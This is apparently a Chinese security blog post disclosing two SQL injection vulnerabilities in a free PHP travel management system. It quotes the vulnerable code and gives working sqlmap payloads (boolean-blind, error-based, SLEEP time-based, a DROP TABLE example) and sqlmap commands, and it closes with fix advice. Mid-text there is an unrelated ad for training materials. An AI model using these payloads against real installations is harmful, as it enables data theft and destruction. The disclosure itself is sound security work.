1.前言
之前在網上隨便逛逛的時候,發現一個有各種各樣的PHP項目的管理系統,隨便點進一個查看,發現還把mysql版本都寫出來了,而且還是PHP語言。
https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/
那這可能存在sql注入漏洞,所以代碼審計了一下,并上報了CVE,現在編號下來了 CVE-2025-9008,CVE-2025-8993,于是公開發現過程。
2.漏洞詳情
1.1 CVE-2025-9008
下載其源代碼之后,對“在線旅游及差旅管理系統”進行安全審查期間,發現“/admin/sms_setting.php””文件中存在一個高危SQL注入漏洞。
$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',password='".$_POST['password']."',sender_id='".$_POST['sender_id']."'WHERE id='1'";
這段sql代碼一眼望過去就是,直接將用戶通過 $_POST
超全局數組提交的數據,未經任何過濾和轉義,就拼接到了 SQL 查詢字符串中,那這肯定就存在sql注入漏洞。
因為sql 注入的核心在于“混淆了代碼和數據”,用戶的輸入本應被視為普通數據,但由于直接拼接,攻擊者可以精心構造輸入,讓其成為 sql代碼的一部分,從而篡改原SQL語句的意圖。
比如說在密碼 password 輸入框中,攻擊者輸入了:' OR '1'='1
那么,最終拼接出來的 SQL 語句會變成:
UPDATE sms_setting SETuname='hacker',password='' OR '1'='1',sender_id='fake_sender'
WHERE id='1'
這條語句的含義被徹底改變了。password
字段的賦值不再是一個簡單的字符串,而是變成了一個邏輯判斷 '' OR '1'='1'
。這個判斷的結果是 永遠為真。
更高級的攻擊者甚至可以輸入類似 '; DROP TABLE users; --
的內容,從而執行任意sql命令,比如說刪除數據庫表,導出數據庫數據之類的操作。
payload
---
Parameter: uname (POST)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=Type: error-basedTitle: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---
我們也可以使用一些工具來進行查看,比如說sqlmap。
sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs
通過 HTTP POST 請求 提交的、名為 uname
的表單字段,選擇了布爾盲注的攻擊類型。
布爾盲注這是一種高級注入技術,用于當網站不會直接顯示數據庫錯誤信息,并且查詢結果也不會直接返回到頁面上的情況。攻擊者通過向數據庫發送一個“問題”,然后根據頁面返回的細微差異,一般來說都是通過觀察頁面是否可以正常加載來判斷。
幫助網安學習,全套資料S信領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
而圖中的payload
uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
111111111111:這是一個隨機的無效用戶名,目的是讓原查詢的uname
匹配不到結果。
RLIKE: 這是MySQL的正則表達式匹配操作符,一般用它來觸發一個條件判斷。
(CASE WHEN (2321=2321) THEN … ELSE … END): 這是一個SQL的CASE
條件語句。這里它判斷一個永恒成立的條件 2321=2321
如果條件為 True,那么整個RLIKE語句會匹配用戶名111111111111,頁面可能會返回一個找不到用戶名存在的狀態。
如果條件為 False,比如說什么1=2之類的常見語句,那么CASE語句會返回一個錯誤的結果,導致RLIKE匹配失敗,頁面可能會返回一個完全空白的狀態。
把2321=2321換成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),觀察頁面的反應,盲猜出數據庫名稱出來。
所以明確了這里存在sql注入漏洞。
1.2 CVE-2025-8993
接著,在“/admin/expense_report.php”文件中又發現了一個嚴重的SQL注入漏洞。該漏洞源于對“from_date”參數的用戶輸入驗證不足,使得攻擊者能夠注入惡意SQL查詢。因此,攻擊者可以未經授權訪問數據庫,修改或刪除數據,并獲取敏感信息。
這段代碼的核心邏輯其實就是,首先檢查用戶是否點擊了提交按鈕if (isset($_POST['submit']))
,然后就去獲取用戶表單中輸入的起始日期$from_date
和結束日期$to_date
,連接數據庫之后用一條 sql 語句,查詢 expense
表中所有在用戶指定日期范圍內創建的記錄。
而且還用了PDO,PDO最重要的就是預處理語句,從根本上防御sql注入,但是又沒使用好。
它將 sql 語句的結構 和 數據 分開發送給數據庫服務器處理。
比如說先把一個帶“占位符”的 sql 模板發送給數據庫,數據庫會解析并編譯這個模板,確定它的結構。
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");
然后當執行階段的時候,再把真實的數據,比如說什么用戶輸入的用戶名和密碼,發送給數據庫,數據庫只會把這些數據當正常數據值使用,不會把它當成 SQL 代碼來解析。
這樣就避免了,即使用戶輸入了惡意的數據比如說什么常見的 ' OR '1'='1
,它也只會被當作一個普通的字符串字面值去進行匹配,而不會改變原sql語句的邏輯。從而徹底杜絕了 SQL 注入。
但是這條sql語句雖然也使用了PDO,但是它把用戶要輸入的from_date的值給它拼接到sql字符串了,代碼和字符串直接拼接,完全繞過了PDO的安全保護,讓PDO形同虛設。
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");
$_POST['from_date']
和 $_POST['to_date']
沒有任何過濾/轉義,直接拼接到了 SQL 中。
攻擊者只要在表單輸入里構造惡意 payload,就能注入 sql。
雖然用了 PDO,但沒有真正用到參數化查詢。
$conn->prepare(...)
本身可以防止注入,但是這里不知道怎么回事,開發者依然把變量拼接到了 sql 里,相當于沒起作用。
所以漏洞源于“from_date”參數的用戶輸入驗證不足,導致攻擊者能夠注入惡意sql查詢。
payload
---
Parameter: from_date (POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---
用sqlmap進行檢測
sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs
sqlmap 識別到 POST 參數 from_date
存在注入漏洞。
測試了多種方式,包括 基于報錯注入 和 基于時間的盲注 ,都確認有效。
所謂的錯誤型注入,簡單點說就是通過故意觸發數據庫錯誤,從而讓數據庫在報錯信息中直接返回查詢結果。
還有時間盲注 ,字面意思也就是通過讓數據庫執行延時函數,比如說什么 SLEEP(5)
,然后根據頁面響應時間來判斷注入的sql是否有效。
from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...
如果注入成功,數據庫將會執行 SLEEP(5)
命令,導致頁面響應時間延遲5秒。sqlmap就會根據這個延遲就能判斷出漏洞存在。
而且sqlmap 成功獲取了數據庫名:information_schema
,這是系統庫,每個cms都會有的。
tour1
,這個才是該cms特有的數據庫名稱。
所以明確了POST參數的from_date
存在注入漏洞。
3.建議修復
- 使用準備好的語句和參數綁定:
準備好的語句可以防止 SQL 注入,因為它們將 SQL 代碼與用戶輸入數據分離。使用準備好的語句時,用戶輸入的值將被視為純數據,不會被解釋為 SQL 代碼。 - 輸入驗證和過濾:
嚴格驗證和過濾用戶輸入數據,確保其符合預期的格式。 - 最小化數據庫用戶權限:
確保用于連接數據庫的賬戶具有必要的最低權限。避免使用具有高級權限的賬戶,比如“root”或“admin”進行日常操作。 - 定期安全審計:
定期進行代碼和系統安全審計,及時發現并修復潛在的安全漏洞。